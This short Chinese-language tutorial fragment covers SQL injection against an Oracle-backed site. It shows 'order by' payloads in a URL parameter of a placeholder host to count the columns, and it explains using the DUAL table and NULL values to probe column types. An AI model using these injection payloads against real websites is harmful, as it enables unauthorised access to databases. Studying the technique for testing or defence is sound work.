基于Oracle网站的SQL注入
- 使用 order by 语句查询列数
www.vuln-web.com/photo.php?id=1' order by 1--
Working
www.vuln-web.com/photo.php?id=1' order by 10--
www.vuln-web.com/photo.php?id=1' order by 7--
Working
www.vuln-web.com/photo.php?id=1' order by 9--
Working
-
可以得知第9列是最后一列
-
oracle不允许没有 from 子句的 select 语句,有时候我们确实不知道当前的数据库表是哪个的话,ORACLE提供了一个虚表dual,换句话说:在不知道当前的数据库表的情况下使用select查询语句时,可以使用虚表dual。
-
在真实的注入环境中一般是无法知道后台的数据库表的数据类型的,这时候就可以使用null关键字挨个判断每个数据是字符还是数字类型。